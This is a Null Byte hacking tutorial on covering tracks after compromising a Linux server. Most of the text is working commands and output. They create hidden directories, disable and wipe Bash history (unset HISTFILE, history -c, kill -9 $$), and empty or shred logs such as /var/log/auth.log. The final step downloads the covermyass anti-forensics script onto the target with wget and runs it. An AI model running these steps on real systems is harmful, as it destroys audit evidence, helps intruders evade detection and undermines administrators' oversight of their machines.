Clear the Logs & Bash History on Hacked Linux Systems to Cover Your Tracks & Remain Undetected « Null Byte :: WonderHowTo

As a hacker, the final stage of exploitation is covering their tracks, which involves wiping all activity and logs so that they can avoid being detected. It's especially crucial for persistence if the target will be accessed again in the future by the attacker.To show you the basics of covering your tracks, we'll compromise a target first, then explore some techniques used to delete Bash history, clear logs, and remain hidden after exploiting a Linux system. You can check out ourCyber Weapons Labvideo below that outlines my guide or skip below to get right to the written steps.Step 1: Compromise a TargetThe first thing we need to do is exploit the target. We can usecommand injectionto abuse the way the server handlesOS commandsto get a shell. We'll also want toupgrade our new shellto a fully interactive one. Doing so will make it easier to work in general, and it will also let us use tab completion and terminal history.Don't Miss:Use Websploit to Scan Websites for Hidden DirectoriesAfter that, we canescalate our privilegesto root so we can better take advantage of the system to remain undetected.Step 2: Create an Easy-to-Delete Hidden DirectoryOnce we have root access, we can create ahidden directoryto work out of and keep any scripts or files in. It won't fool anyone but the most noobie admin, but another layer of discretion certainly couldn't hurt. First, let's locate any writable directories with the following command:root@target:/# find / -perm -222 -type d 2>/dev/null

/dev/shm
/var/lock
/var/lib/php5
/var/tmp
/var/www/dav
/var/www/twiki/data/Sandbox
/var/www/twiki/data/Main
/var/www/twiki/data/Know
/var/www/twiki/data/TWiki
/var/www/twiki/data/_default
/var/www/twiki/data/Trash
/var/www/twiki/pub/Sandbox
/var/www/twiki/pub/Main
/var/www/twiki/pub/Know
/var/www/twiki/pub/Know/IncorrectDllVersionW32PTH10DLL
/var/www/twiki/pub/TWiki
/var/www/twiki/pub/TWiki/TWikiDocGraphics
/var/www/twiki/pub/TWiki/TWikiTemplates
/var/www/twiki/pub/TWiki/TWikiLogos
/var/www/twiki/pub/TWiki/PreviewBackground
/var/www/twiki/pub/TWiki/FileAttachment
/var/www/twiki/pub/TWiki/WabiSabi
/var/www/twiki/pub/Trash
/var/www/twiki/pub/icn
/tmp
/tmp/.ICE-unix
/tmp/.X11-unixWe can create a hidden directory with themkdircommand and by prepending the name with a dot:root@target:/# mkdir /dev/shm/.secretIf we list the contents of /dev/shm now, nothing shows up:root@target:/# ls -l /dev/shm/

total 0Only when we use the-aswitch to list all files and directories does it show up:root@target:/# ls -la /dev/shm/

total 0
drwxrwxrwt  3 root root    60 2019-06-19 13:49 .
drwxr-xr-x 13 root root 13480 2019-06-19 13:41 ..
drwxr-xr-x  2 root root    40 2019-06-19 13:49 .secretAnd to remove the directory once we are finished on the machine, use thermdircommand:root@target:/# rmdir /dev/shm/.secret/Step 3: Delete the Bash HistoryBashkeeps a list of commands used in the current session in memory, so it's important to clear it to cover your tracks. We can view the current history with thehistorycommand:root@target:/# history

    1  cd /
    2  ls
    3  find / -perm -222 -type d 2>/dev/null
    4  cd /dev/shm/
    5  cd /
    6  mkdir /dev/shm/.secret
    7  ls -l /dev/shm/
    8  ls -la /dev/shm/
    9  ls
   10  rmdir /dev/shm/.secret/
   11  historyCommands are written to the HISTFILE environment variable, which is usually .bash_history. We canechoit to see the location:root@target:/# echo $HISTFILE

/root/.bash_historyWe can use theunsetcommand to remove the variable:root@target:/# unset HISTFILESo when we echo it again, nothing shows up:root@target:/# echo $HISTFILEWe can also make sure the command history isn't stored by sending it to /dev/null. Set the variable to it:root@target:/# HISTFILE=/dev/nullOr do the same with the export command:root@target:/# export HISTFILE=/dev/nullAnd the history will now be sent to /dev/null (nowhere):root@target:/# echo $HISTFILE

/dev/nullWe can set the number of commands to be stored during the current session to 0 using the HISTSIZE variable:root@target:/# HISTSIZE=0Alternatively, use the export command:root@target:/# export HISTSIZE=0We can also change the number of lines allowed in the history file using the HISTFILESIZE variable. Set this to 0:root@target:/# HISTFILESIZE=0Or with export:root@target:/# export HISTFILESIZE=0Thesetcommand can be used to changeshelloptions as well. To disable the history option, use the following command:root@target:/# set +o historyAnd to enable it again:root@target:/# set -o historySimilarly, theshoptcommand can be used to change shell options. To disable history, use the following command:root@target:/# shopt -ou historyAnd to enable it again:root@target:/# shopt -os historyWhile running commands on the target system, we can sometimes avoid saving them to history by starting the command with a leading space:root@target:~#  cat /etc/passwdThat technique doesn't work all the time and depends on the system.We can also just clear the history using the-cswitch:root@target:~# history -cTo make sure the changes are written to disk, use the-wswitch:root@target:~# history -wThat will only clear the history for the current session. To absolutely make sure the history is cleared when exiting a session, the following command comes in handy:root@target:/# cat /dev/null > ~/.bash_history && history -c && exitWe can also use thekillcommand to exit the session without saving history:root@target:/# kill -9 $$Step 4: Clear the Log FilesIn addition to Bash history,log filesalso need to be wiped to remain undetected. Here are some common log files and what they contain:/var/log/auth.log Authentication/var/log/cron.log Cron Jobs/var/log/maillog Mail/var/log/httpd ApacheOf course, we can simply remove a log with thermcommand:root@target:/# rm /var/log/auth.logBut that will likely raise red flags, so it's better to empty the file rather than erase it completely. We can use thetruncatecommand to shrink the size to 0:root@target:/# truncate -s 0 /var/log/auth.logPlease note, truncate is not always present on all systems.We can accomplish the same thing by echoing nothing into the file:root@target:/# echo '' > /var/log/auth.logAnd also with>by itself to empty the file:root@target:/# > /var/log/auth.logWe can also send it to /dev/null:root@target:/# cat /dev/null > /var/log/auth.logOr use theteecommand:root@target:/# true | tee /var/log/auth.logWe can also use theddcommand to write nothing to the log file:root@target:/# dd if=/dev/null of=/var/log/auth.log

0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/sTheshredcommand can be used to overwrite a file with meaningless binary data:root@target:/# shred /var/log/auth.logWe can even tack on-zuwhich will truncate the file and overwrite it with zeros to hide evidence of shredding:root@target:/# shred -zu /var/log/auth.logStep 5: Use a Tool to Ensure Things Are ErasedTo increase the chances that any activity on the target goes undiscovered, we can use a tool to make sure everything gets erased.Covermyassis a script that will automate much of the processes we've already covered, including clearing log files and disabling Bash history.We can grab the script from GitHub usingwget(assuming we have access to the internet on the target, otherwise, it will have to be transferred manually):root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyassHead to a writable directory, and usechmodto make it executable:root@target:/tmp# chmod +x covermyassThen we can run it:root@target:/tmp# ./covermyass

Welcome to Cover my ass tool !

Select an option :

1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool

>We're given a custom prompt with a few options to choose from. Let's select the first one to clear the logs:> 1

[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.

Reminder: your need to reload the session to see effects.
Type exit to do so.We can also disable Bash and auth history with option 2:> 2

[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library

Permenently disabled bash log.And in case you need to clear everything in a hurry, simply appendnowto the command:root@target:/tmp# ./covermyass now

[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.

Reminder: your need to reload the session to see effects.
Type exit to do so.Wrapping UpToday, we explored various techniques used to cover tracks and remain undetected on a compromised machine. We covered ways to disable and delete Bash history, methods to clear log files, and utilized the Covermyass tool to ensure our activity on the target was wiped. There are other ways to clear certain traces of an attack, likeusing Metasploit,using shell scripting, or doing iton a hacked Windows machine, but the above should be everything you need for a basic Linux computer.Don't Miss:How Hackers Cover Their Tracks on an Exploited Linux Server with Shell ScriptingWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byVojtech Okenka/PexelsRelatedHack Like a Pro:How to Cover Your Tracks & Leave No Trace Behind on the Target SystemFacebook 101:How to View, Delete & Disable Location History Data That's Been Collected on YouHow To:Catch USB Rubber Duckies on Your Computer with USBRipNews:Even Microsoft Acknowledges the Superiority of the Bash Shell NowHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHow To:Turn Off Facebook Lite's Call & Text History Logging on AndroidHow To:See the Notifications You Cleared by AccidentYouTube 101:How to Manage Your Search History & Clear Watched VideosAndroid Basics:How to View Your Location HistoryHow To:Store All Incoming Snapchat Photos on Your iPhone Without Notifying the SendersHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How To:Undo a Thumbs-Down Rating for a Song You've Grown to Like on PandoraGmail 101:How to Clear Search History on Android or iOSMac Troubleshooting:How to Find Your Restart, Shutdown & Uptime HistoryBinance 101:How to View Your Transaction HistoryHack Like a Pro:How to Hack the Shellshock VulnerabilityHow To:The Five Phases of HackingHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 23 (Logging)How To:Every Mac Is Vulnerable to the Shellshock Bash Exploit: Here's How to Patch OS XHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Safari 101:How to Clear Your Recently Closed Tabs ListHow To:Bypass Android's Call Log Limits to Keep an Unlimited Call HistoryHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)How To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiNews:Safari to Block Third-Party Tracking & AutoplayHow To:Hide Your Call & Message History for Specific Phone Numbers Using Reflection for AndroidHow To:Create a Persistent Back Door in Android Using Kali Linux:Hack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHow To:An Entry Level Guide to Finding and Reading Logs (And Maybe Staying Out of Jail)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Prevent Social Networks from Tracking Your Internet ActivitiesHow To:Use Google's New Privacy Tools to Stop Them from Tracking YouHack Logs and Linux Commands:What's Going On Here?News:Change from BASH to zshNews:Performance Hacks & Tweaks for LinuxHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebNews:Complete Arch Linux Installation, Part 1: Install & Configure Arch